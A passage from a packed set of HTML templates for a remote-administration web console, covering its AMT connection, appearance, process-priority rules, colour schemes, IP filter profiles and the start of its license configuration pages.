<td><input type=text size="20" name="AMTDISCONNECTPASSCODE" /></td>
<td><input type="button" name="disconnect" value="&MSG.CONFIG.AMTCFG.DISCONNECT&" style="width: 100%;" onclick="submitForm('disconnect');"></td>
</tr>
</table>
</form>

<?if AMTERROR?>
<br>
<b><?if REQ.OP="connect"?>&MSG.CONFIG.AMTCFG.CONNECT.ERROR&<?else?>&MSG.CONFIG.AMTCFG.DISCONNECT.ERROR&<?endif?>&nbsp;&nbsp;&AMTERROR&</b>
<br><br>
<?endif?>

<?if AMTSUCCESS?>
<br>
<b><?if REQ.OP="connect"?>&MSG.CONFIG.AMTCFG.CONNECT.SUCCESS&<?else?>&MSG.CONFIG.AMTCFG.DISCONNECT.SUCCESS&<?endif?></b>
<br><br>
<?endif?>

</fieldset>
</center><br><br>
</div>

</body>
</html>6$cfgappearance.htmln@<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "dirtree.inc"?>
</head>

<body>
<?
action "cfgappearance"
usemacro WINERRDLG()
?>

<div class="window">	
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.APPEARANCE.TITLE&<?if MSG?> - &MSG.CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.APPEARANCE.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>
<form action="&TEMPLATE&" method="post">
<input type="hidden" name="op" value="update">
<br>
<fieldset><legend>&MSG.CONFIG.APPEARANCE.GENERALSETTINGS&</legend><br>
<table width="90%">
<col width="60%" align="right">
<col width="40%" align="left">
<tr>
<td>&MSG.CONFIG.APPEARANCE.PerfViewer&:&nbsp;</td>
<td><input type="checkbox" name="PerfViewer" value="1" &PerfViewer& <?disabled PerfViewer.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.APPEARANCE.ToolTips&:&nbsp;</td>
<td><input type="checkbox" name="ToolTips" value="1" &ToolTips& <?disabled ToolTips.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.APPEARANCE.UseIcons&:&nbsp;</td>
<td><input type="checkbox" name="UseIcons" value="1" &UseIcons& <?disabled UseIcons.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.APPEARANCE.ItemsPerPage&:&nbsp;</td>
<td><select name="ItemsPerPage" size="1" <?disabled ItemsPerPage.LOCKED?>>
<option <?selected ItemsPerPage =  10?>> 10
<option <?selected ItemsPerPage =  15?>> 15
<option <?selected ItemsPerPage =  20?>> 20
<option <?selected ItemsPerPage =  30?>> 30
<option <?selected ItemsPerPage =  50?>> 50
<option <?selected ItemsPerPage = 100?>>100
<option <?selected ItemsPerPage = 500?>>500
</select></td>
</tr>
<?if not BRAND.LOGMEIN?>
<tr>
<td>&MSG.CONFIG.APPEARANCE.ItemsPerPageWap&:&nbsp;</td>
<td><input type="text" name="ItemsPerPageWap" value="&ItemsPerPageWap&" size="3"></td>
</tr>
<?endif?>
<tr>
<td>&MSG.CONFIG.APPEARANCE.UseSimplifiedFM&:&nbsp;</td>
<td><input type="checkbox" name="SimplifiedFMUI" value="1" <?checked SimplifiedFMUI = "1"?> <?disabled SimplifiedFMUI.LOCKED?> /></td>
</tr>
</table><br>
</fieldset><br><br>

<fieldset><legend>&MSG.CONFIG.SYSTRAY.TITLE&</legend>
<table width="90%">
<col width="60%" align="right">
<col width="40%" align="left">
<tr>
<td>*&MSG.CONFIG.SYSTRAY.EnableSystray&</td>
<td><input type="checkbox" name="EnableSystray" value="1" &EnableSystray& <?disabled EnableSystray.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.APPEARANCE.KioskMode&:&nbsp;</td>
<td><input type="checkbox" name="KioskMode" value="1" &KioskMode& <?disabled KioskMode.LOCKED?>></td>
</tr>
</table><br>
<table><tr><td><font color="<?&COLOR.Link?>">*&MSG.CONFIG.NEEDREBOOT&</font></td></tr></table>
</fieldset><br><br>

<fieldset><legend>&MSG.CONFIG.CUSTPAGES.TITLE&</legend><br>
<table width="90%">
<tr>
<td align="right" width="60%">&MSG.CONFIG.CUSTPAGES.DIRECTORY&:&nbsp;</td>
<td><input type="text" name="CustomDirectory" size="30" value="&CustomDirectory&" <?disabled CustomDirectory.LOCKED?>>
<?if not CustomDirectory.LOCKED
usemacro BrowseButton("document.forms[0].CustomDirectory.value")
endif?>
</td>
</tr>
<tr>
<td align="right">&MSG.CONFIG.CUSTPAGES.DEFPAGE&:&nbsp;</td>
<td><input type="text" name="CustomDefaultPage" size="20" value="&CustomDefaultPage&" <?disabled CustomDefaultPage.LOCKED?>></td>
</tr>
</table><br>
<table><tr><td><font color="<?&COLOR.Link?>">&MSG.CONFIG.CUSTPAGES.NOTE&</font></td></tr></table>
</fieldset><br><br>

<center><input type="submit" name="submit" value="&DIALOG.APPLY&"></center>

</form></center>
</div>
</body>
</html>
=cfgautopri.html&X<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "table.inc"?>
<script type="text/javascript" src="js/window.js"></script>
</head>

<body>
<?
if REQ.OP
action "cfgautopri"
usemacro WINERRDLG()
endif
action "cfgautopri" REQ.OP="list"
usemacro WINERRDLG()
?>
<script language="JavaScript">
var vars = new Array();
var	i = 1;
function addVar(name, prior, affin) {
var o = new Object();
o.name  = name;
o.prior = prior;
o.affin = affin;
vars[i++] = o;
}
<?enum "RULES"?>
addVar( "$RULE.NAME$", "&RULE.PRIORITY&", "&RULE.AFFINITY&");
<?next?>

function valueDlg(name, prior, affin) {
winShow("AddRule");
document.forms.ruleForm.name.value = name;
document.forms.ruleForm.priority.value = prior;
<?enum CPUS?>
<?if CPU.PRESENT?>
document.forms.ruleForm.cpu<?&CPU.NUMBER?>.checked = (affin.indexOf("&CPU.NUMBER&")>=0);
<?endif?>
<?next?>
if ( name != "" ) {
document.forms.ruleForm.old_name.value = name;
document.forms.ruleForm.op.value = "set";
document.forms.ruleForm.submit.value = "&DIALOG.APPLY&";
}
document.forms.ruleForm.name.focus();
}
function delVal() {
var	selrows = trows.getSelectedIndexes();
if ( selrows.length > 0 ) {
var	url = "&TEMPLATE&?op=del&name=" + encodeURIComponent(vars[selrows[0]].name);
window.location = url + "&$RND$";
}
}
function viewVal() {
var	selrows = trows.getSelectedIndexes();
if ( selrows.length > 0 ) {
valueDlg( vars[selrows[0]].name, vars[selrows[0]].prior, vars[selrows[0]].affin );
}
}
function chkToolbar() {
document.images["tooldel"].src="img/ico_delete.gif"; 
document.images["toolatr"].src="img/ico_prop.gif"; 
}
</script>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText"><?&ADMIN.AUTOPRI.TITLE?></span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%ADMIN.AUTOPRI.TITLE%&favicon=menu_admin.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<a href="javascript:valueDlg('', 'idle', '');"><img src="img/ico_newdoc.gif" title="&DIALOG.CREATE&" border="0"></a>
<a href="javascript:viewVal();"><img id="toolatr" src="img/ico_prop_off.gif" title="&MSG.PROPS&" border="0"></a>
<a href="javascript:delVal()"><img id="tooldel" src="img/ico_delete_off.gif" title="&DIALOG.DELETE&" border="0"></a>
</div>
</div>

<table width="95%" align=center><tr><td>

<?if RULES?>
<?if RULES > 0?>
<br>
<table id="rlist" class="inner" align=center>
<tr>
<th><?&ADMIN.AUTOPRI.NAME?></th>
<th><?&ADMIN.AUTOPRI.PRIOR?></th>
<th><?&ADMIN.AUTOPRI.AFFINITY?></th>
</tr>
<?enum "RULES"?>
<tr onclick="chkToolbar()" ondblclick="valueDlg('$RULE.NAME$','$RULE.PRIORITY$','$RULE.AFFINITY$')">
<td>&RULE.NAME&</td>
<td>&ADMIN.PROCESS.PRIOR:RULE.PRIORITY&</td>
<td><?if RULE.AFFINITY?>&RULE.AFFINITY&<?else?>none<?endif?></td>
</tr>
<?next?>
</table>
<script type="text/javascript">
// MULTISELECT TABLE
var trows = new SelectableTableRows(document.getElementById("rlist"), true);
</script>
<?endif?>
<?endif?>
<br><br>

<fieldset align=center>
<table width="100%" align=center><tr><td>
<font color="<?&COLOR.Link?>"><?&ADMIN.AUTOPRI.NOTE?></font><BR>
</td></tr></table>
</fieldset>

</td></tr></table><br>

<div id="AddRule" class="subwindow" style="left:80px;top:90px;width:450px;height:auto;">
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText"><?&ADMIN.AUTOPRI.TITLE?></span></div>
<center><br>
<form id="ruleForm" action="&TEMPLATE&" method="post">
<fieldset>
<input type="hidden" name="op" value="add">
<input type="hidden" name="old_name" value="&RULE.NAME&">
<table align=center>
<tr><td align="right">
<?&ADMIN.AUTOPRI.NAME?>:</td><td><input type="text" name="name" value="&RULE.NAME&" size="30">
</td></tr>
<tr><td align="right"><?&ADMIN.AUTOPRI.PRIOR?>:</td><td>
<select name="priority" size="1">
<?enum PRIORITIES?>
<option value="&PRIORITY.VALUE&" <?selected PRIORITY.VALUE="32"?>>&ADMIN.PROCESS.PRIOR:PRIORITY.VALUE&
<?next?>
</select></td></tr>
<tr><td align="right"><?&ADMIN.AUTOPRI.AFFINITY?>:</td>
<td>
<?enum CPUS?>
<?if CPU.PRESENT?>
<input type="checkbox" name="cpu&CPU.NUMBER&">&ENUM.INDEX&&nbsp;
<?endif?>
<?next?>
</td>
</tr>
</table>
</fieldset><br><br>
<fieldset><font color="<?&COLOR.Link?>"><center><?&ADMIN.AUTOPRI.ADDNOTE?></center></font></fieldset><br><br>
<input type="submit" name="submit" value="&DIALOG.ADD&" onclick="winHide('AddRule');">
<input type="button" value="&DIALOG.CANCEL&" onclick="winHide('AddRule');">
</form>
</center>
</div>
</div>	
</body>
</html>
6,'cfgcolors.html(<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<script language="JavaScript">
var names = new Array(
"WinBack",
"CapBack","CapText",
"DlgBack","DlgText",
"Link",
"MenuBack","MenuText",
"MenuHighBack","MenuHighText",
"MenuSelBack","MenuSelText",
"TblTtlBack","TblTtlText",
"TblHdrBack","TblHdrText",
"ServHi","ServLo",
"HdrBack","HdrText",
"RscBack","RscText"
<?if BRAND.LOGMEIN?>
,
"DescText",
"SecTitle",
"HTMLHeader"
<?endif?>
);
var schemes = new Array();
schemes[1] = new Array(
"#8abdf0",            // window
<?if BRAND.LOGMEIN?>
"#333333", "white",   // caption
<?else?>
"#2a669a", "white",   // caption
<?endif?>
"white",   "black",   // dialog
"#5060c0", // link
"white",   "black",   // menu
"white",   "blue",    // menu hi
"#316ac5", "white",	  // menu sel
<?if BRAND.LOGMEIN?>
"#333333", "white",   // table title
"#cccccc", "black",   // table head
<?else?>
"#2a669a", "white",	  // table title
"#8abdf0", "black",   // table head
<?endif?>
"#7ddf85", // service on
"#be3d45", // service off
"white",   "#000040", // header
"white",   "#00ff00"  // resource
<?if BRAND.LOGMEIN?>
,
"#a0a0e0", // description
"#2a669a", // secrem title
"green"	  // HTML header
<?endif?>
);
schemes[2] = new Array(
"#bdbdbd",            // window
"#666666", "#ffffff", // caption
"#eeeeee", "#000000", // dialog
"#606060", // link
"#eeeeee", "#000000", // menu
"#ffffff", "#202020", // menu hi
"#404040", "#ffffff", // menu sel
"#666666", "#ffffff", // table title
"#bdbdbd", "#000000", // table head
"#808080", // service on
"#404040", // service off
"#eeeeee", "#404040", // header
"#ffffff", "#c0c0c0"  // resource
<?if BRAND.LOGMEIN?>
,
"#707070", // description
"#2a669a", // secrem title
"green"	  // HTML header
<?endif?>
);
<?if BRAND.LOGMEIN?>
schemes[3] = new Array(
"#75b975",            // window
"#327819", "#ffffd0", // caption
"#d4efca", "#113311", // dialog
"#436643", // link
"#a2e28b", "#002244", // menu
"green",   "#ffff00", // menu hi
"#327819", "#ffff00", // menu sel
"#327819", "#ffffd0", // table title
"#66bb66", "black",   // table head
"#ffff00", // service on
"#425eb8", // service off
"#a2e28b", "#327918", // header
"#a2e28b", "#008000", // resource
"#20a020", // description
"#0055aa", // secrem title
"green"	  // HTML header
);
<?else?>
schemes[3] = new Array(
"#31108c",            // window
"#63cc4e", "#1c006c", // caption
"#3fa038", "#1c006c", // dialog
"#ffff79", // link
"#1c006c", "#ffff79", // menu
"#36387c", "#ffff79", // menu hi
"#1c006c", "#ffffff", // menu sel
"#36387c", "#ffffff", // table title
"#110066", "#ffff79", // table head
"#86e206", // service on
"#ea5f0b", // service off
"#63cc4e", "#1c006c", // header
"#1c006c", "#00ff00"  // resource
);
<?endif?>
function setScheme(idx) {
if (idx > 0) {
var scheme = schemes[idx];
var form = document.forms[0];
for (var i = 0; i < names.length; i++) {
form["col"+names[i]].value = scheme[i];
}
update();
}
}
function update() {
var form = document.forms[0];
for (var i = 0; i < names.length; i++) {
var n = names[i];
var v = form["col"+n].value;
var bg = document.getElementById("bg"+n);
if (bg) bg.style.backgroundColor = v;
var fg = document.getElementById("fg"+n);
if (fg) fg.style.color = v;
}
}
</script>
</head>

<body>
<?
if REQ.SUBMIT
action "cfgcolor"
if WINERRNUM
usemacro WINERRDLG()
else
?><script language="JavaScript">window.top.menu.location.reload();</script><?
endif
endif
?>
<div class="window">	
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.COLORS.TITLE&<?if MSG?> - &MSG.CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.COLORS.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>
<form action="&TEMPLATE&" method="post">
<fieldset style="width:95%"><br>

<table class="inner">
<tr>
<th></th><th align="center">&MSG.CONFIG.COLORS.Backgr&</th><th align="center">&MSG.CONFIG.COLORS.Text&</th><th></th>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Window&:</td><td><input type="text" onchange="update()" name="colWinBack" value="&COLOR.WinBack&"></td>
<td></td><TD WIDTH=32 class="dataArea" id="bgWinBack"></td>
<?if not UI="secrem"?>
</tr><tr><td align="right">
&MSG.CONFIG.COLORS.Dlgcap&:</td><td><input type="text" onchange="update()" name="colCapBack" value="&COLOR.CapBack&"></td>
<td><input type="text" onchange="update()" name="colCapText" value="&COLOR.CapText&"></td>
<TD WIDTH=32 class="dataArea" id="bgCapBack"><b id="fgCapText">abc</b></td>
<?else?>
<td><input type="hidden" name="colCapBack"><input type="hidden" name="colCapText"></td>
<?endif?>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Dlg&:</td><td><input type="text" onchange="update()" name="colDlgBack" value="&COLOR.DlgBack&"></td>
<td><input type="text" onchange="update()" name="colDlgText" value="&COLOR.DlgText&"></td>
<td width=32 class="dataArea" id="bgDlgBack"><span id="fgDlgText">abc</span></td>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Link&:</td><td></td><td><input type="text" onchange="update()" name="colLink" value="&COLOR.Link&"></td>
<TD WIDTH=32 class="dataArea"><span id="fgLink">abc</span></td>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Menu&:</td><td><input type="text" onchange="update()" name="colMenuBack" value="&COLOR.MenuBack&"></td>
<td><input type="text" onchange="update()" name="colMenuText" value="&COLOR.MenuText&"></td>
<TD WIDTH=32 class="dataArea" id="bgMenuBack"><span id="fgMenuText">abc</span></td>
<?if not UI="secrem"?>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Menuhigh&:</td><td><input type="text" onchange="update()" name="colMenuHighBack" value="&COLOR.MenuHighBack&"></td>
<td><input type="text" onchange="update()" name="colMenuHighText" value="&COLOR.MenuHighText&"></td>
<TD WIDTH=32 class="dataArea" id="bgMenuHighBack"><span id="fgMenuHighText">abc</span></td>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Menusel&:</td><td><input type="text" onchange="update()" name="colMenuSelBack" value="&COLOR.MenuSelBack&"></td>
<td><input type="text" onchange="update()" name="colMenuSelText" value="&COLOR.MenuSelText&"></td>
<TD WIDTH=32 class="dataArea" id="bgMenuSelBack"><span id="fgMenuSelText">abc</span></td>
<?else?>
<td><input type="hidden" name="colMenuHighBack"><input type="hidden" name="colMenuHighText">
<input type="hidden" name="colMenuSelBack"><input type="hidden" name="colMenuSelText"></td>
<?endif?>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Tbltitle&:</td><td><input type="text" onchange="update()" name="colTblTtlBack" value="&COLOR.TblTtlBack&"></td>
<td><input type="text" onchange="update()" name="colTblTtlText" value="&COLOR.TblTtlText&"></td>
<TD WIDTH=32 class="dataArea" id="bgTblTtlBack"><b id="fgTblTtlText">abc</b></td>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Tblhead&:</td><td><input type="text" onchange="update()" name="colTblHdrBack" value="&COLOR.TblHdrBack&"></td>
<td><input type="text" onchange="update()" name="colTblHdrText" value="&COLOR.TblHdrText&"></td>
<TD WIDTH=32 class="dataArea" id="bgTblHdrBack"><b id="fgTblHdrText">abc</b></td>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.ServRun&:</td><td></td>
<td><input type="text" onchange="update()" name="colServHi" value="&COLOR.ServHi&"></td>
<TD WIDTH=32 class="dataArea" id="fgServHi">abc</td>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Servstop&:</td><td></td>
<td><input type="text" onchange="update()" name="colServLo" value="&COLOR.ServLo&"></td>
<TD WIDTH=32 class="dataArea" id="fgServLo">abc</td>
<?if not UI="secrem"?>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Hdr&:</td><td><input type="text" onchange="update()" name="colHdrBack" value="&COLOR.HdrBack&"></td>
<td><input type="text" onchange="update()" name="colHdrText" value="&COLOR.HdrText&"></td>
<TD WIDTH=32 class="dataArea" id="bgHdrBack"><b id="fgHdrText">abc</b></td>
<?else?>
<td><input type="hidden" name="colHdrBack"><input type="hidden" name="colHdrText"></td>
<?endif?>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.Rscbar&:</td><td><input type="text" onchange="update()" name="colRscBack" value="&COLOR.RscBack&"></td>
<td><input type="text" onchange="update()" name="colRscText" value="&COLOR.RscText&"></td>
<TD WIDTH=32 class="dataArea" id="bgRscBack"><span id="fgRscText">abc</span></td>
</tr>
<?if BRAND.LOGMEIN?>
<tr>
<td align="right">&MSG.CONFIG.COLORS.DESCTEXT&:</td><td></td><td><input type="text" onchange="update()" name="colDescText" value="&COLOR.DescText&"></td>
<TD WIDTH=32 class="dataArea"><span id="fgDescText">abc</span></td>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.SECTITLE&:</td><td></td><td><input type="text" onchange="update()" name="colSecTitle" value="&COLOR.SecTitle&"></td>
<TD WIDTH=32 class="dataArea"><span id="fgSecTitle">abc</span></td>
</tr><tr>
<td align="right">&MSG.CONFIG.COLORS.HTMLHEADER&:</td><td></td><td><input type="text" onchange="update()" name="colHTMLHeader" value="&COLOR.HTMLHeader&"></td>
<TD WIDTH=32 class="dataArea"><span id="fgHTMLHeader">abc</span></td>
</tr>
<?endif?>
</table><br>
</fieldset>
<script language="JavaScript">update()</script>
<br><br>
&MSG.CONFIG.COLORS.SCHEME.TITLE&: <select name="scheme" size="1" onchange="setScheme(options[selectedIndex].value)">
<option value="0">&MSG.CONFIG.COLORS.SCHEME.CHOOSE&
<option value="1">&MSG.CONFIG.COLORS.SCHEME.PRESET1&
<option value="2">&MSG.CONFIG.COLORS.SCHEME.PRESET2&
<option value="3">&MSG.CONFIG.COLORS.SCHEME.PRESET3&
</select>
<br><br>
<input type="submit" name="submit" value="&MSG.DIALOG.APPLY&"> 
<input type="submit" name="cancel" value="&MSG.CONFIG.COLORS.RESTORE&">
</form>
</center>
</div>
</body>
</html>
$)(cfgfilter.htmlQx<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<?
action "cfgfilter"
switch WINERRNUM
case "32" // ERROR_SHARING_VIOLATION
set WINERRMSG = MSG.CONFIG.IPFILTER.INUSE // set proper error message
set PROFILE = "" // stay in profile-list mode
endswitch
usemacro WINERRDLG()
?>
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("secure")?><span class="titleText">&MSG.CONFIG.IPFILTER.TITLE&<?if PROFILE?> - &PROFILE&<?endif?></span></div>

<?if not UI="secrem"?>
<div class="buttonBar">
<a href="title.html?favname=%MSG.CONFIG.IPFILTER.TITLE%&favicon=menu_secure.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?profile=%REQ.PROFILE%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&MSG.DIALOG.UPDATE&"></a>
</div>
<?endif?>

<center>
<br>
<fieldset style="width:95%"><br>
<?if PROFILE?>
<form action="&TEMPLATE&" method="post">
<?if REQ.BACK?><input type="hidden" name="back" value="&REQ.BACK&"><?endif?>
<table width="100%">
<tr>
<td align="center">
<table>
<tr>
<td><?&MSG.TYPE?>:</td>
<td><select name="allow" size="1">
<option value="1"><?&MSG.CONFIG.IPFILTER.ALLOW?></option>
<option value=""><?&MSG.CONFIG.IPFILTER.DENY?></option>
</select></td>
</tr>
<tr>
<td><?&MSG.CONFIG.IPFILTER.ADDRESS?>:</td>
<td><input type="text" name="addr" value="*"></td>
</tr>
<tr>
<td><?&MSG.CONFIG.IPFILTER.SUBNET?>:</td>
<td><input type="text" name="mask" value="*"></td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" value="&MSG.CONFIG.IPFILTER.ADDFILTER&" onclick="this.form.op.value='filter_add'">
</td>
</tr>
</table>
</td>
<td align="center">

<table>
<tr><td colspan="2"><?&MSG.CONFIG.IPFILTER.FILTERTITLE?></td></tr>
<tr valign="top">
<td rowspan="3">
<input type="hidden" name="index" value="&REQ.INDEX&">
<select name="index_sel" size="8" style="width:280px"
onchange="this.form.index.value=this.selectedIndex+1;this.form.allow.value=this.options[this.selectedIndex].value.split('|')[0];this.form.addr.value=this.options[this.selectedIndex].value.split('|')[1];this.form.mask.value=this.options[this.selectedIndex].value.split('|')[2];">
<?enum FILTERS?>
<option value="&FILTER.ALLOW&|&FILTER.ADDR&|&FILTER.MASK&" <?selected REQ.INDEX = ENUM.INDEX?>>
<?if FILTER.ALLOW?><?&MSG.CONFIG.IPFILTER.ALLOW?><?else?><?&MSG.CONFIG.IPFILTER.DENY?><?endif?><br>
<?&FILTER.ADDR?> (<?&FILTER.MASK?>)
</option>
<?next?>
</select><br><br>
</td>
<td>
<?if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE?>
<div class="buttonGroup">
<input type="image" src="img/ico_up.gif" title="&MSG.DIALOG.MOVEUP&" onclick="this.form.op.value='filter_up'">
</div>
<br>
<div class="buttonGroup">
<input type="image" src="img/ico_delete.gif" title="&MSG.DIALOG.DELETE&" onclick="this.form.op.value='filter_remove'">
</div>
<br>
<div class="buttonGroup">
<input type="image" src="img/ico_down.gif" title="&MSG.DIALOG.MOVEDN&" onclick="this.form.op.value='filter_down'">
</div>
<?else?>
<table border="0" cellspacing="0%" cellpadding="0%">
<tr><td><input type="image" src="img/ico_up.gif" title="&MSG.DIALOG.MOVEUP&" onclick="this.form.op.value='filter_up'"></td></tr>
<tr><td><input type="image" src="img/ico_delete.gif" title="&MSG.DIALOG.DELETE&" onclick="this.form.op.value='filter_remove'"></td></tr>
<tr><td><input type="image" src="img/ico_down.gif" title="&MSG.DIALOG.MOVEDN&" onclick="this.form.op.value='filter_down'"></td></tr>
</table>
<?endif?>
</td>
</tr>
</table>

</td>
</tr>
</table>
<input type="hidden" name="op" value="">
<input type="hidden" name="profile" value="&PROFILE&">
</form>
</fieldset><br><br>
<input type="button" value="&MSG.DIALOG.BACK&" onclick="location='$TEMPLATE$<?if REQ.BACK?>?back=$REQ.BACK$<?endif?>'"><br>
<?else?>
<form action="&TEMPLATE&" method="post">
<?if REQ.BACK?><input type="hidden" name="back" value="&REQ.BACK&"><?endif?>
<input type="hidden" name="op" value="">
<table width="300px">
<tr>
<td align="right" style="white-space: nowrap"><?&MSG.NAME?>:</td>
<td><input type="text" name="profile" value="&PROFILE&" maxlength=64 style="width:200px"></td>
<td><input type="submit" value="&MSG.DIALOG.ADD&" onclick="this.form.op.value='profile_create'"></td>
</tr>
<tr>
<td valign="top" style="white-space: nowrap"><?&MSG.CONFIG.IPFILTER.PROFILES?>:</td>
<td colspan="2"><select name="list" size="8" style="width:300px"
onchange="this.form.profile.value=this.options[this.selectedIndex].text">
<?enum PROFILES?>
<option <?selected PROFILE = PROFILE.NAME?>><?&PROFILE.NAME?></option>
<?next?>
</select></td>
</tr>
<tr>
<td></td>
<td colspan="2" align="right">
<input type="submit" value="&MSG.CONFIG.IPFILTER.USE&" onclick="this.form.op.value='profile_use'">
<input type="submit" value="&MSG.DIALOG.EDIT&" onclick="">
<input type="submit" value="&MSG.DIALOG.DELETE&" onclick="this.form.op.value='profile_delete'">
</td>
</tr>
</table>
</form>
<?&MSG.CONFIG.IPFILTER.DESCRIPTION?>
</fieldset><br>
<?endif?>
<?if UI="secrem"?>
<?if BRAND.LOGMEIN and not PROFILE?>
<?if REQ.BACK?>&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='$REQ.BACK$'"><?endif?>
<?endif?>
<?endif?>
<br>
</center>
</div>
</body>
</html>
hM*cfglicense.htmlD<?ratmpl?>
<?
nocache

if not USERNAME
redirect "default.html"
endif

if not LICENSE.VALID
set NewInstall = "1"
endif

// if product has just been installed, use nice ui
if NewInstall
set session UI = "secrem"
endif

// this variable specifies what screen to show
set LICENSE.STEP = REQ.STEP

include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?if NewInstall?>
<style type="text/css">
input.button {
background-color: green;
color: white;
border: 2px green outset;
font-weight: bold;
font-size: 9pt;
text-transform: uppercase;
}
p {
text-align: left;
padding-left: 2em;
padding-right: 2em;
}
</style>
<?endif?>
</head>

<body>
<?if NOT LORES?><div class="window"><?endif?>
<?if not NewInstall?>
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.LICENSE.TITLE&</span></div>
<?if not UI="secrem"?>
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.LICENSE.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?step=%LICENSE.STEP%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>
<?endif?>

<div class="clientArea">
<center>

<?if NewInstall?>
<?set LOGOBG=COLOR.DlgBack?><?include "logo.html"?><br><?if NOT LORES?><br><?endif?>
<fieldset>
<?endif?>

<?if LORES?>

&MSG.CONFIG.LICENSE.NOPDA&

<?else?>

<?
// set purchase link for error messages
if Cfg.Appearance.NoExternalLinks="1"
set LINK = PRODUCTWEBSITE
else
set LINK = "<a href='/dotcom.vcgi?target=buydirect' target='_blank'>" PRODUCTWEBSITE "</a>"
endif

// set default step
if LICENSE.STEP = ""
if not LICENSE.TYPE
// if there is no license inserted, ask what to do
set LICENSE.STEP = "change"
else
// if we already got a license, show it and allow replace
set LICENSE.STEP = "show"
endif
endif
?>

<?defmacro SHOWLICENSEERROR()?>
<?if LICENSE.ERROR?>
<p><b>=MSG.CONFIG.LICENSE.ERROR:LICENSE.ERROR=</b><br></p>
<?if SIGNERRORS?>
<p>
<table style="width: 80%">
<tr><td><b>&MSG.CONFIG.LICENSE.ERROR.BAD.SIGNATURE.REPORT&</b></td></tr>
<?enum SIGNERRORS?><tr><td nowrap><tt>&SIGNERROR&</tt></td></tr><?next?>
</table><br>
</p>
<input class="button" type="button" value="&MSG.CONFIG.LICENSE.REQSUPPORT&" onclick="window.location='mailto:&RA.SUPPORT&?subject=license%20error&body=%0Amy%20license%3A%0A%LICENSE.TEXT%%0A%0Aerrors%3A%0A<?enum SIGNERRORS?>%SIGNERROR%%0A<?next?>'">
<br>&nbsp;<br>
<?endif?>
<?endif?>
<?endmacro?>

<script language="JavaScript">
function chk(inp) {
if ((inp.type == "text" && inp.value == "") || (inp.type == "select-one" && inp.options[inp.selectedIndex].value == "")) {
alert('$MSG.ERROR.19006$');
if (inp.focus) inp.focus();
